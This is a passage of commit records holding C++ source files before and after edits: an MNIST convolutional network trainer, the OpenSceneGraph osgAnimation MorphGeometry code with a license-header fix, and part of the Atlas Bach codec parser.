4);\n\tNN.Add(512)\n\t\t->Activation(Activation::relu)\n\t\t->Batch_Normalization();\n\tNN.Add(number_nodes[1])->Activation(Activation::softmax);\n\n\tNN.Connect(1, 0, \"W\")->Initializer(HeNormal());\n\tNN.Connect(2, 1, \"P,max\");\n\tNN.Connect(3, 2, \"W\")->Initializer(HeNormal());\n\tNN.Connect(4, 3, \"P,max\");\n\tNN.Connect(5, 4, \"W\")->Initializer(HeNormal());\n\tNN.Connect(6, 5, \"W\")->Initializer(HeNormal());\n\n\tNN.Compile(Loss::cross_entropy, new Optimizer(SGD(learning_rate)));\n\n\tfor (int e = 0, time = clock(); e < epochs; e++) {\n\t\tint score[2] = { 0, };\n\n\t\tfloat **_input = new float*[batch_size];\n\t\tfloat **output = new float*[batch_size];\n\n\t\tdouble loss[2] = { NN.Fit(NN.Shuffle(x_train, number_training), NN.Shuffle(y_train, number_training), number_training, batch_size), NN.Evaluate(x_test, y_test, number_test, batch_size) };\n\n\t\tfor (int h = 0; h < batch_size; h++) {\n\t\t\toutput[h] = new float[number_nodes[1]];\n\t\t}\n\t\tfor (int h = 0, i = 0; i < number_training + number_test; i++) {\n\t\t\t_input[h] = x_data[i];\n\n\t\t\tif (++h == batch_size || i == number_training + number_test - 1) {\n\t\t\t\tNN.Predict(_input, output, h);\n\n\t\t\t\tfor (int argmax, index = i - h + 1; --h >= 0;) {\n\t\t\t\t\tdouble max = 0;\n\n\t\t\t\t\tfor (int j = 0; j < number_nodes[1]; j++) {\n\t\t\t\t\t\tif (j == 0 || max < output[h][j]) {\n\t\t\t\t\t\t\tmax = output[h][argmax = j];\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\tscore[(index + h < number_training) ? (0) : (1)] += (int)y_data[index + h][argmax];\n\t\t\t\t}\n\t\t\t\th = 0;\n\t\t\t}\n\t\t}\n\t\tprintf(\"loss: %.4f \/ %.4f\taccuracy: %.4f \/ %.4f\tstep %d  %.2f sec\\n\", loss[0], loss[1], 1.0 * score[0] \/ number_training, 1.0 * score[1] \/ number_test, e + 1, (double)(clock() - time) \/ CLOCKS_PER_SEC);\n\n\t\tfor (int h = 0; h < batch_size; h++) {\n\t\t\tdelete[] output[h];\n\t\t}\n\t\tdelete[] _input;\n\t\tdelete[] output;\n\t}\n\n\tfor (int i = 0; i < number_training + number_test; i++) {\n\t\tdelete[] x_data[i];\n\t\tdelete[] y_data[i];\n\t}\n\tdelete[] x_data;\n\tdelete[] y_data;\n}\n<commit_msg>Update main.cpp<commit_after>#include <fstream>\n#include <iostream>\n#include <omp.h>\n#include <random>\n#include <stdio.h>\n#include <string>\n#include <time.h>\n\n#include \"Neural_Networks.h\"\n\nusing namespace std;\n\nvoid Read_MNIST(string training_set_images, string training_set_labels, string test_set_images, string test_set_labels, int number_training, int number_test, float **input, float **output) {\n\tifstream file(training_set_images, ifstream::binary);\n\n\tif (file.is_open()) {\n\t\tfor (int h = 0, value; h < 4; h++) {\n\t\t\tfile.read((char*)(&value), sizeof(int));\n\t\t}\n\t\tfor (int h = 0; h < number_training; h++) {\n\t\t\tunsigned char pixel;\n\n\t\t\tfor (int j = 0; j < 28 * 28; j++) {\n\t\t\t\tfile.read((char*)(&pixel), 1);\n\t\t\t\tinput[h][j] = pixel \/ 255.0;\n\t\t\t}\n\t\t}\n\t\tfile.close();\n\t}\n\telse {\n\t\tcerr << \"[Read_MNIST], \" + training_set_images + \" not found\" << endl;\n\t}\n\n\tfile.open(training_set_labels, ifstream::binary);\n\n\tif (file.is_open()) {\n\t\tfor (int h = 0, value; h < 2; h++) {\n\t\t\tfile.read((char*)(&value), sizeof(int));\n\t\t}\n\t\tfor (int h = 0; h < number_training; h++) {\n\t\t\tunsigned char label;\n\n\t\t\tfile.read((char*)(&label), 1);\n\n\t\t\tfor (int j = 0; j < 10; j++) {\n\t\t\t\toutput[h][j] = (j == label);\n\t\t\t}\n\t\t}\n\t\tfile.close();\n\t}\n\telse {\n\t\tcerr << \"[Read_MNIST], \" + training_set_labels + \" not found\" << endl;\n\t}\n\n\tfile.open(test_set_images, ifstream::binary);\n\n\tif (file.is_open()) {\n\t\tfor (int h = 0, value; h < 4; h++) {\n\t\t\tfile.read((char*)(&value), sizeof(int));\n\t\t}\n\t\tfor (int h = number_training; h < number_training + number_test; h++) {\n\t\t\tunsigned char pixel;\n\n\t\t\tfor (int j = 0; j < 28 * 28; j++) {\n\t\t\t\tfile.read((char*)(&pixel), 1);\n\t\t\t\tinput[h][j] = pixel \/ 255.0;\n\t\t\t}\n\t\t}\n\t\tfile.close();\n\t}\n\telse {\n\t\tcerr << \"[Read_MNIST], \" + test_set_images + \" not found\" << endl;\n\t}\n\n\tfile.open(test_set_labels, ifstream::binary);\n\n\tif (file.is_open()) {\n\t\tfor (int h = 0, value; h < 2; h++) {\n\t\t\tfile.read((char*)(&value), sizeof(int));\n\t\t}\n\t\tfor (int h = number_training; h < number_training + number_test; h++) {\n\t\t\tunsigned char label;\n\n\t\t\tfile.read((char*)(&label), 1);\n\n\t\t\tfor (int j = 0; j < 10; j++) {\n\t\t\t\toutput[h][j] = (j == label);\n\t\t\t}\n\t\t}\n\t\tfile.close();\n\t}\n\telse {\n\t\tcerr << \"[Read_MNIST], \" + test_set_labels + \" not found\" << endl;\n\t}\n}\n\nint main() {\n\tint batch_size = 128;\n\tint epochs = 20;\n\tint number_threads = 6;\n\tint number_training = 60000;\n\tint number_test = 10000;\n\tint number_nodes[] = { 784, 10 };\n\n\tfloat **x_data = new float*[number_training + number_test];\n\tfloat **y_data = new float*[number_training + number_test];\n\tfloat **x_train = x_data;\n\tfloat **y_train = y_data;\n\tfloat **x_test = &x_data[number_training];\n\tfloat **y_test = &y_data[number_training];\n\n\tdouble learning_rate = 0.5;\n\n\tstring path;\n\n\tNeural_Networks NN = Neural_Networks();\n\n\tcout << \"path where MNIST handwritten digits dataset is : \";\n\tgetline(cin, path);\n\n\tfor (int h = 0; h < number_training + number_test; h++) {\n\t\tx_data[h] = new float[number_nodes[0]];\n\t\ty_data[h] = new float[number_nodes[1]];\n\t}\n\tRead_MNIST(path + \"train-images.idx3-ubyte\", path + \"train-labels.idx1-ubyte\", path + \"t10k-images.idx3-ubyte\", path + \"t10k-labels.idx1-ubyte\", number_training, number_test, x_data, y_data);\n\tomp_set_num_threads(number_threads);\n\n\tsrand(9);\n\n\tNN.Add( 1, 28, 28);\n\tNN.Add(24, 24, 24)->Activation(Activation::relu)->Batch_Normalization();\n\tNN.Add(24, 12, 12);\n\tNN.Add(48,  8,  8)->Activation(Activation::relu)->Batch_Normalization();\n\tNN.Add(48,  4,  4);\n\tNN.Add(512)->Activation(Activation::relu)->Batch_Normalization();\n\tNN.Add(number_nodes[1])->Activation(Activation::softmax);\n\n\tNN.Connect(1, 0, \"W\")->Initializer(HeNormal());\n\tNN.Connect(2, 1, \"P,max\");\n\tNN.Connect(3, 2, \"W\")->Initializer(HeNormal());\n\tNN.Connect(4, 3, \"P,max\");\n\tNN.Connect(5, 4, \"W\")->Initializer(HeNormal());\n\tNN.Connect(6, 5, \"W\")->Initializer(HeNormal());\n\n\tNN.Compile(Loss::cross_entropy, new Optimizer(SGD(learning_rate)));\n\n\tfor (int e = 0, time = clock(); e < epochs; e++) {\n\t\tint score[2] = { 0, };\n\n\t\tfloat **_input = new float*[batch_size];\n\t\tfloat **output = new float*[batch_size];\n\n\t\tdouble loss[2] = { NN.Fit(NN.Shuffle(x_train, number_training), NN.Shuffle(y_train, number_training), number_training, batch_size), NN.Evaluate(x_test, y_test, number_test, batch_size) };\n\n\t\tfor (int h = 0; h < batch_size; h++) {\n\t\t\toutput[h] = new float[number_nodes[1]];\n\t\t}\n\t\tfor (int h = 0, i = 0; i < number_training + number_test; i++) {\n\t\t\t_input[h] = x_data[i];\n\n\t\t\tif (++h == batch_size || i == number_training + number_test - 1) {\n\t\t\t\tNN.Predict(_input, output, h);\n\n\t\t\t\tfor (int argmax, index = i - h + 1; --h >= 0;) {\n\t\t\t\t\tdouble max = 0;\n\n\t\t\t\t\tfor (int j = 0; j < number_nodes[1]; j++) {\n\t\t\t\t\t\tif (j == 0 || max < output[h][j]) {\n\t\t\t\t\t\t\tmax = output[h][argmax = j];\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\tscore[(index + h < number_training) ? (0) : (1)] += (int)y_data[index + h][argmax];\n\t\t\t\t}\n\t\t\t\th = 0;\n\t\t\t}\n\t\t}\n\t\tprintf(\"loss: %.4f \/ %.4f\taccuracy: %.4f \/ %.4f\tstep %d  %.2f sec\\n\", loss[0], loss[1], 1.0 * score[0] \/ number_training, 1.0 * score[1] \/ number_test, e + 1, (double)(clock() - time) \/ CLOCKS_PER_SEC);\n\n\t\tfor (int h = 0; h < batch_size; h++) {\n\t\t\tdelete[] output[h];\n\t\t}\n\t\tdelete[] _input;\n\t\tdelete[] output;\n\t}\n\n\tfor (int i = 0; i < number_training + number_test; i++) {\n\t\tdelete[] x_data[i];\n\t\tdelete[] y_data[i];\n\t}\n\tdelete[] x_data;\n\tdelete[] y_data;\n}\n<|endoftext|>"}
{"text":"<commit_before>\/*  -*-c++-*-\n *  Copyright (C) 2008 Cedric Pinson <cedric.pinson@plopbyte.net>\n *\n * This program is free software; you can redistribute it and\/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation; either version 2 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program; if not, write to the Free Software\n * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA\n *\n * Authors:\n *\n * Roland Smeenk\n * Cedric Pinson <cedric.pinson@plopbyte.net>\n *\n *\/\n#include <osg\/Geode>\n#include <osgAnimation\/MorphGeometry>\n\n#include <sstream>\n\nusing namespace osgAnimation;\n\nMorphGeometry::MorphGeometry() :\n    _dirty(false),\n    _method(NORMALIZED),\n    _morphNormals(true)\n{\n    setUseDisplayList(false);\n    setUpdateCallback(new UpdateVertex);\n    setDataVariance(osg::Object::DYNAMIC);\n    setUseVertexBufferObjects(true);\n}\n\nMorphGeometry::MorphGeometry(const osg::Geometry& b) :\n    osg::Geometry(b, osg::CopyOp::DEEP_COPY_ARRAYS),\n    _dirty(false),\n    _method(NORMALIZED),\n    _morphNormals(true)\n{\n    setUseDisplayList(false);\n    setUpdateCallback(new UpdateVertex);\n    setDataVariance(osg::Object::DYNAMIC);\n    setUseVertexBufferObjects(true);\n    if (b.getInternalOptimizedGeometry())\n        computeInternalOptimizedGeometry();\n}\n\nMorphGeometry::MorphGeometry(const MorphGeometry& b, const osg::CopyOp& copyop) :\n    osg::Geometry(b,copyop),\n    _dirty(b._dirty),\n    _method(b._method),\n    _morphTargets(b._morphTargets),\n    _positionSource(b._positionSource),\n    _normalSource(b._normalSource),\n    _morphNormals(b._morphNormals)\n{\n    setUseDisplayList(false);\n    setUseVertexBufferObjects(true);\n    if (b.getInternalOptimizedGeometry())\n        computeInternalOptimizedGeometry();\n}\n\nvoid MorphGeometry::transformSoftwareMethod()\n{\n    if (_dirty)\n    {\n        \/\/ See if we have an internal optimized geometry\n        osg::Geometry* morphGeometry = this;\n        if (_internalOptimizedGeometry.valid())\n            morphGeometry = _internalOptimizedGeometry.get();\n\n        osg::Vec3Array* pos = dynamic_cast<osg::Vec3Array*>(morphGeometry->getVertexArray());\n        if (pos && _positionSource.size() != pos->size())\n        {\n            _positionSource = std::vector<osg::Vec3>(pos->begin(),pos->end());\n            pos->setDataVariance(osg::Object::DYNAMIC);\n        }\n\n        osg::Vec3Array* normal = dynamic_cast<osg::Vec3Array*>(morphGeometry->getNormalArray());\n        if (normal && _normalSource.size() != normal->size())\n        {\n            _normalSource = std::vector<osg::Vec3>(normal->begin(),normal->end());\n            normal->setDataVariance(osg::Object::DYNAMIC);\n        }\n\n\n        if (!_positionSource.empty())\n        {\n            bool initialized = false;\n            if (_method == NORMALIZED)\n            {\n                \/\/ base * 1 - (sum of weights) + sum of (weight * target)\n                float baseWeight = 0;\n                for (unsigned int i=0; i < _morphTargets.size(); i++)\n                {\n                    baseWeight += _morphTargets[i].getWeight();\n                }\n                baseWeight = 1 - baseWeight;\n\n                if (baseWeight != 0)\n                {\n                    initialized = true;\n                    for (unsigned int i=0; i < pos->size(); i++)\n                    {\n                        (*pos)[i] = _positionSource[i] * baseWeight;\n                    }\n                    if (_morphNormals)\n                    {\n                        for (unsigned int i=0; i < normal->size(); i++)\n                        {\n                            (*normal)[i] = _normalSource[i] * baseWeight;\n                        }\n                    }\n                }\n            }\n            else \/\/if (_method == RELATIVE)\n            {\n                \/\/ base + sum of (weight * target)\n                initialized = true;\n                for (unsigned int i=0; i < pos->size(); i++)\n                {\n                    (*pos)[i] = _positionSource[i];\n                }\n                if (_morphNormals)\n                {\n                    for (unsigned int i=0; i < normal->size(); i++)\n                    {\n                        (*normal)[i] = _normalSource[i];\n                    }\n                }\n            }\n\n            for (unsigned int i=0; i < _morphTargets.size(); i++)\n            {\n                if (_morphTargets[i].getWeight() > 0)\n                {\n                    \/\/ See if any the targets use the internal optimized geometry\n                    osg::Geometry* targetGeometry = _morphTargets[i].getGeometry()->getInternalOptimizedGeometry();\n                    if (!targetGeometry)\n                        targetGeometry = _morphTargets[i].getGeometry();\n\n                    osg::Vec3Array* targetPos = dynamic_cast<osg::Vec3Array*>(targetGeometry->getVertexArray());\n                    osg::Vec3Array* targetNormals = dynamic_cast<osg::Vec3Array*>(targetGeometry->getNormalArray());\n\n                    if (initialized)\n                    {\n                        \/\/ If vertices are initialized, add the morphtargets\n                        for (unsigned int j=0; j < pos->size(); j++)\n                        {\n                            (*pos)[j] += (*targetPos)[j] * _morphTargets[i].getWeight();\n                        }\n\n                        if (_morphNormals)\n                        {\n                            for (unsigned int j=0; j < normal->size(); j++)\n                            {\n                                (*normal)[j] += (*targetNormals)[j] * _morphTargets[i].getWeight();\n                            }\n                        }\n                    }\n                    else\n                    {\n                        \/\/ If not initialized, initialize with this morph target\n                        initialized = true;\n                        for (unsigned int j=0; j < pos->size(); j++)\n                        {\n                            (*pos)[j] = (*targetPos)[j] * _morphTargets[i].getWeight();\n                        }\n\n                        if (_morphNormals)\n                        {\n                            for (unsigned int j=0; j < normal->size(); j++)\n                            {\n                                (*normal)[j] = (*targetNormals)[j] * _morphTargets[i].getWeight();\n                            }\n                        }\n                    }\n                }\n            }\n\n            pos->dirty();\n            if (_morphNormals)\n            {\n                for (unsigned int j=0; j < normal->size(); j++)\n                {\n                    (*normal)[j].normalize();\n                }\n                normal->dirty();\n            }\n        }\n\n        dirtyBound();\n        _dirty = false;\n    }\n}\n\nUpdateMorph::UpdateMorph(const UpdateMorph& apc,const osg::CopyOp& copyop) :\n    osg::Object(apc, copyop),\n    AnimationUpdateCallback<osg::NodeCallback>(apc, copyop)\n{\n}\n\nUpdateMorph::UpdateMorph(const std::string& name) : AnimationUpdateCallback<osg::NodeCallback>(name)\n{\n}\n\n\/** Callback method called by the NodeVisitor when visiting a node.*\/\nvoid UpdateMorph::operator()(osg::Node* node, osg::NodeVisitor* nv)\n{\n    if (nv && nv->getVisitorType() == osg::NodeVisitor::UPDATE_VISITOR)\n    {\n        osg::Geode* geode = dynamic_cast<osg::Geode*>(node);\n        if (geode)\n        {\n            unsigned int numDrawables = geode->getNumDrawables();\n            for (unsigned int i = 0; i != numDrawables; ++i)\n            {\n                osgAnimation::MorphGeometry* morph = dynamic_cast<osgAnimation::MorphGeometry*>(geode->getDrawable(i));\n                if (morph)\n                {\n                    \/\/ Update morph weights\n                    std::map<int, osg::ref_ptr<osgAnimation::FloatTarget> >::iterator iter = _weightTargets.begin();\n                    while (iter != _weightTargets.end())\n                    {\n                        if (iter->second->getValue() >= 0)\n                        {\n                            morph->setWeight(iter->first, iter->second->getValue());\n                        }\n                        ++iter;\n                    }\n                }\n            }\n        }\n    }\n    traverse(node,nv);\n}\n\n\n\nbool UpdateMorph::needLink() const\n{\n    \/\/ the idea is to return true if nothing is linked\n    return (_weightTargets.size() == 0);\n}\n\nbool UpdateMorph::link(osgAnimation::Channel* channel)\n{\n    \/\/ Typically morph geometries only have the weights for morph targets animated\n\n    std::istringstream iss(channel->getName());\n\n    int weightIndex;\n    iss >> weightIndex;\n\n    if (iss.fail())\n    {\n        return false;\n    }\n\n    if (weightIndex >= 0)\n    {\n        osgAnimation::FloatTarget* ft = _weightTargets[weightIndex].get();\n        if (!ft)\n        {\n            ft = new osgAnimation::FloatTarget;\n            _weightTargets[weightIndex] = ft;\n        }\n        return channel->setTarget(ft);\n    }\n    else\n    {\n        OSG_WARN << \"Channel \" << channel->getName() << \" does not contain a valid symbolic name for this class\" << std::endl;\n    }\n    return false;\n}\n<commit_msg>Fixed the erronous header so that it is OSGPL like the rest of the osgAnimation.<commit_after>\/*  -*-c++-*-\n *  Copyright (C) 2008 Cedric Pinson <cedric.pinson@plopbyte.net>\n *\n * This library is open source and may be redistributed and\/or modified under\n * the terms of the OpenSceneGraph Public License (OSGPL) version 0.0 or\n * (at your option) any later version.  The full license is in LICENSE file\n * included with this distribution, and on the openscenegraph.org website.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * OpenSceneGraph Public License for more details.\n *\/\n\n#include <osg\/Geode>\n#include <osgAnimation\/MorphGeometry>\n\n#include <sstream>\n\nusing namespace osgAnimation;\n\nMorphGeometry::MorphGeometry() :\n    _dirty(false),\n    _method(NORMALIZED),\n    _morphNormals(true)\n{\n    setUseDisplayList(false);\n    setUpdateCallback(new UpdateVertex);\n    setDataVariance(osg::Object::DYNAMIC);\n    setUseVertexBufferObjects(true);\n}\n\nMorphGeometry::MorphGeometry(const osg::Geometry& b) :\n    osg::Geometry(b, osg::CopyOp::DEEP_COPY_ARRAYS),\n    _dirty(false),\n    _method(NORMALIZED),\n    _morphNormals(true)\n{\n    setUseDisplayList(false);\n    setUpdateCallback(new UpdateVertex);\n    setDataVariance(osg::Object::DYNAMIC);\n    setUseVertexBufferObjects(true);\n    if (b.getInternalOptimizedGeometry())\n        computeInternalOptimizedGeometry();\n}\n\nMorphGeometry::MorphGeometry(const MorphGeometry& b, const osg::CopyOp& copyop) :\n    osg::Geometry(b,copyop),\n    _dirty(b._dirty),\n    _method(b._method),\n    _morphTargets(b._morphTargets),\n    _positionSource(b._positionSource),\n    _normalSource(b._normalSource),\n    _morphNormals(b._morphNormals)\n{\n    setUseDisplayList(false);\n    setUseVertexBufferObjects(true);\n    if (b.getInternalOptimizedGeometry())\n        computeInternalOptimizedGeometry();\n}\n\nvoid MorphGeometry::transformSoftwareMethod()\n{\n    if (_dirty)\n    {\n        \/\/ See if we have an internal optimized geometry\n        osg::Geometry* morphGeometry = this;\n        if (_internalOptimizedGeometry.valid())\n            morphGeometry = _internalOptimizedGeometry.get();\n\n        osg::Vec3Array* pos = dynamic_cast<osg::Vec3Array*>(morphGeometry->getVertexArray());\n        if (pos && _positionSource.size() != pos->size())\n        {\n            _positionSource = std::vector<osg::Vec3>(pos->begin(),pos->end());\n            pos->setDataVariance(osg::Object::DYNAMIC);\n        }\n\n        osg::Vec3Array* normal = dynamic_cast<osg::Vec3Array*>(morphGeometry->getNormalArray());\n        if (normal && _normalSource.size() != normal->size())\n        {\n            _normalSource = std::vector<osg::Vec3>(normal->begin(),normal->end());\n            normal->setDataVariance(osg::Object::DYNAMIC);\n        }\n\n\n        if (!_positionSource.empty())\n        {\n            bool initialized = false;\n            if (_method == NORMALIZED)\n            {\n                \/\/ base * 1 - (sum of weights) + sum of (weight * target)\n                float baseWeight = 0;\n                for (unsigned int i=0; i < _morphTargets.size(); i++)\n                {\n                    baseWeight += _morphTargets[i].getWeight();\n                }\n                baseWeight = 1 - baseWeight;\n\n                if (baseWeight != 0)\n                {\n                    initialized = true;\n                    for (unsigned int i=0; i < pos->size(); i++)\n                    {\n                        (*pos)[i] = _positionSource[i] * baseWeight;\n                    }\n                    if (_morphNormals)\n                    {\n                        for (unsigned int i=0; i < normal->size(); i++)\n                        {\n                            (*normal)[i] = _normalSource[i] * baseWeight;\n                        }\n                    }\n                }\n            }\n            else \/\/if (_method == RELATIVE)\n            {\n                \/\/ base + sum of (weight * target)\n                initialized = true;\n                for (unsigned int i=0; i < pos->size(); i++)\n                {\n                    (*pos)[i] = _positionSource[i];\n                }\n                if (_morphNormals)\n                {\n                    for (unsigned int i=0; i < normal->size(); i++)\n                    {\n                        (*normal)[i] = _normalSource[i];\n                    }\n                }\n            }\n\n            for (unsigned int i=0; i < _morphTargets.size(); i++)\n            {\n                if (_morphTargets[i].getWeight() > 0)\n                {\n                    \/\/ See if any the targets use the internal optimized geometry\n                    osg::Geometry* targetGeometry = _morphTargets[i].getGeometry()->getInternalOptimizedGeometry();\n                    if (!targetGeometry)\n                        targetGeometry = _morphTargets[i].getGeometry();\n\n                    osg::Vec3Array* targetPos = dynamic_cast<osg::Vec3Array*>(targetGeometry->getVertexArray());\n                    osg::Vec3Array* targetNormals = dynamic_cast<osg::Vec3Array*>(targetGeometry->getNormalArray());\n\n                    if (initialized)\n                    {\n                        \/\/ If vertices are initialized, add the morphtargets\n                        for (unsigned int j=0; j < pos->size(); j++)\n                        {\n                            (*pos)[j] += (*targetPos)[j] * _morphTargets[i].getWeight();\n                        }\n\n                        if (_morphNormals)\n                        {\n                            for (unsigned int j=0; j < normal->size(); j++)\n                            {\n                                (*normal)[j] += (*targetNormals)[j] * _morphTargets[i].getWeight();\n                            }\n                        }\n                    }\n                    else\n                    {\n                        \/\/ If not initialized, initialize with this morph target\n                        initialized = true;\n                        for (unsigned int j=0; j < pos->size(); j++)\n                        {\n                            (*pos)[j] = (*targetPos)[j] * _morphTargets[i].getWeight();\n                        }\n\n                        if (_morphNormals)\n                        {\n                            for (unsigned int j=0; j < normal->size(); j++)\n                            {\n                                (*normal)[j] = (*targetNormals)[j] * _morphTargets[i].getWeight();\n                            }\n                        }\n                    }\n                }\n            }\n\n            pos->dirty();\n            if (_morphNormals)\n            {\n                for (unsigned int j=0; j < normal->size(); j++)\n                {\n                    (*normal)[j].normalize();\n                }\n                normal->dirty();\n            }\n        }\n\n        dirtyBound();\n        _dirty = false;\n    }\n}\n\nUpdateMorph::UpdateMorph(const UpdateMorph& apc,const osg::CopyOp& copyop) :\n    osg::Object(apc, copyop),\n    AnimationUpdateCallback<osg::NodeCallback>(apc, copyop)\n{\n}\n\nUpdateMorph::UpdateMorph(const std::string& name) : AnimationUpdateCallback<osg::NodeCallback>(name)\n{\n}\n\n\/** Callback method called by the NodeVisitor when visiting a node.*\/\nvoid UpdateMorph::operator()(osg::Node* node, osg::NodeVisitor* nv)\n{\n    if (nv && nv->getVisitorType() == osg::NodeVisitor::UPDATE_VISITOR)\n    {\n        osg::Geode* geode = dynamic_cast<osg::Geode*>(node);\n        if (geode)\n        {\n            unsigned int numDrawables = geode->getNumDrawables();\n            for (unsigned int i = 0; i != numDrawables; ++i)\n            {\n                osgAnimation::MorphGeometry* morph = dynamic_cast<osgAnimation::MorphGeometry*>(geode->getDrawable(i));\n                if (morph)\n                {\n                    \/\/ Update morph weights\n                    std::map<int, osg::ref_ptr<osgAnimation::FloatTarget> >::iterator iter = _weightTargets.begin();\n                    while (iter != _weightTargets.end())\n                    {\n                        if (iter->second->getValue() >= 0)\n                        {\n                            morph->setWeight(iter->first, iter->second->getValue());\n                        }\n                        ++iter;\n                    }\n                }\n            }\n        }\n    }\n    traverse(node,nv);\n}\n\n\n\nbool UpdateMorph::needLink() const\n{\n    \/\/ the idea is to return true if nothing is linked\n    return (_weightTargets.size() == 0);\n}\n\nbool UpdateMorph::link(osgAnimation::Channel* channel)\n{\n    \/\/ Typically morph geometries only have the weights for morph targets animated\n\n    std::istringstream iss(channel->getName());\n\n    int weightIndex;\n    iss >> weightIndex;\n\n    if (iss.fail())\n    {\n        return false;\n    }\n\n    if (weightIndex >= 0)\n    {\n        osgAnimation::FloatTarget* ft = _weightTargets[weightIndex].get();\n        if (!ft)\n        {\n            ft = new osgAnimation::FloatTarget;\n            _weightTargets[weightIndex] = ft;\n        }\n        return channel->setTarget(ft);\n    }\n    else\n    {\n        OSG_WARN << \"Channel \" << channel->getName() << \" does not contain a valid symbolic name for this class\" << std::endl;\n    }\n    return false;\n}\n<|endoftext|>"}
{"text":"<commit_before>\/\/ This file may be redistributed and modified under the terms of the\n\/\/ GNU Lesser General Public License (See COPYING for details).\n\/\/ Copyright (C) 2002 Michael Koch <konqueror@gmx.de>\n\n#include \"Bach.h\"\n\nnamespace Atlas { namespace Codecs {\n\nBach::Bach(std::iostream& s, Atlas::Bridge* b)\n    : m_socket(s)\n    , m_bridge(b)\n    , m_comma( false )\n{\n    m_state.push(PARSE_STREAM);\n}\n\nvoid Bach::parseStream(char next)\n{\n    cout << \"parseStream\" << endl;\n\n    switch (next)\n    {\n    case '[':\n        m_bridge->streamMessage(m_mapBegin);\n        m_state.push(PARSE_MAP);\n        break;\n\n    default:\n        cout << \"parseStream: unexpected character : \" << next << endl;\n        \/\/ FIXME signal error here\n        \/\/ unexpected character\n        break;\n    }\n}\n\nvoid Bach::parseMap(char next)\n{\n    cout << \"parseMap\" << endl;\n\n    switch (next)\n    {\n    case '}':\n        m_bridge->mapEnd();\n        m_state.pop();\n        break;\n\n    case '{':\n        m_state.push(PARSE_MAP);\n        m_state.push(PARSE_MAP_BEGIN);\n        m_state.push(PARSE_DATA);\n        m_state.push(PARSE_NAME);\n        break;\n\n    case '[':\n        m_state.push(PARSE_LIST);\n        m_state.push(PARSE_LIST_BEGIN);\n        m_state.push(PARSE_DATA);\n        m_state.push(PARSE_NAME);\n        break;\n\n    case ',':\n        break;\n\n    default:\n        if (((next>='a')&&(next<='z'))||\n            ((next>='A')&&(next<='Z')))\n        {\n            m_socket.putback(next);\n            m_state.push(PARSE_DATA);\n            m_state.push(PARSE_NAME);\n        }\n        else\n        {\n            cout << \"parseMap: unexpected character: \" << next << endl;\n            \/\/ FIXME signal error here\n            \/\/ unexpected character\n        }\n        break;\n    }\n}\n\nvoid Bach::parseList(char next)\n{\n    cout << \"parseList\" << endl;\n\n    switch (next)\n    {\n    case ']':\n        m_bridge->listEnd();\n        m_state.pop();\n        break;\n\n    case '{':\n        m_bridge->listItem(m_mapBegin);\n        m_state.push(PARSE_MAP);\n        m_state.push(PARSE_NAME);\n        m_state.push(PARSE_DATA);\n        break;\n\n    case '[':\n        m_bridge->listItem(m_listBegin);\n        m_state.push(PARSE_LIST);\n        m_state.push(PARSE_DATA);\n        break;\n\n    case '1':\n    case '2':\n    case '3':\n    case '4':\n    case '5':\n    case '6':\n    case '7':\n    case '8':\n    case '9':\n    case '0':\n    case '-':\n        m_state.push(PARSE_FLOAT);\n        m_socket.putback(next);\n        break;\n\n    default:\n        cout << \"parseMap: unexpected character: \" << next << endl;\n        \/\/ FIXME signal error here\n        \/\/ unexpected character\n        break;\n    }\n}\n\nvoid Bach::parseMapBegin(char next)\n{\n    cout << \"parseMapBegin\" << endl;\n\n    m_bridge->mapItem(decodeString(m_name), m_mapBegin);\n    m_socket.putback(next);\n    m_state.pop();\n    m_name.erase();\n}\n\nvoid Bach::parseListBegin(char next)\n{\n    cout << \"parseListBegin\" << endl;\n\n    m_bridge->mapItem(decodeString(m_name), m_listBegin);\n    m_socket.putback(next);\n    m_state.pop();\n    m_name.erase();\n}\n\nvoid Bach::parseInt(char next)\n{\n    cout << \"parseInt\" << endl;\n}\n\nvoid Bach::parseFloat(char next)\n{\n    cout << \"parseFloat\" << endl;\n\n    switch (next)\n    {\n    case '[':\n    case ']':\n    case '(':\n    case ')':\n    case ',':\n        m_socket.putback(next);\n        m_state.pop();\n        if (m_state.top() == PARSE_MAP_BEGIN)\n        {\n            cout << \"Float: \" << m_data << endl;\n\n            m_bridge->mapItem(decodeString(m_name), atof(m_data.c_str()));\n            m_name.erase();\n        }\n        else if (m_state.top() == PARSE_LIST_BEGIN)\n        {\n            cout << \"Float: \" << m_data << endl;\n\n            m_bridge->listItem(atof(m_data.c_str()));\n        }\n        else\n        {\n            cout << \"Bach::parseFloat: Error: \" << m_state.top() << endl;\n            \/\/ FIXME some kind of sanity checking assertion here\n        }\n        m_data.erase();\n\tbreak;\n\n    case '0':\n    case '1':\n    case '2':\n    case '3':\n    case '4':\n    case '5':\n    case '6':\n    case '7':\n    case '8':\n    case '9':\n    case '.':\n    case '-':\n    case '+':\n    case 'e':\n    case 'E':\n        m_data += next;\n\tbreak;\n\n    default:\n        cout << \"parseFloat: unexpected character: \" << next << endl;\n        \/\/ FIXME signal error here\n        \/\/ unexpected character\n\tbreak;\n    }\n}\n\nvoid Bach::parseString(char next)\n{\n    cout << \"parseString\" << endl;\n\n    switch (next)\n    {\n    case '\\\"':\n        m_state.pop();\n        if (m_state.top() == PARSE_MAP)\n        {\n            cout << \"String: \" << m_data << endl;\n\n            m_bridge->mapItem(decodeString(m_name), decodeString(m_data));\n            m_name.erase();\n        }\n        else if (m_state.top() == PARSE_LIST)\n        {\n            cout << \"String: \" << m_data << endl;\n\n            m_bridge->listItem(decodeString(m_data));\n        }\n        else\n        {\n            \/\/ FIXME some kind of sanity checking assertion here\n        }\n        m_data.erase();\n        break;\n\n\/*\n    case '\\\\':\n        \/\/ FIXME escape signs\n        break;\n*\/\n\n    default:\n        m_data += next;\n        break;\n    }\n}\n\nvoid Bach::parseData(char next)\n{\n    cout << \"parseData\" << endl;\n\n    switch 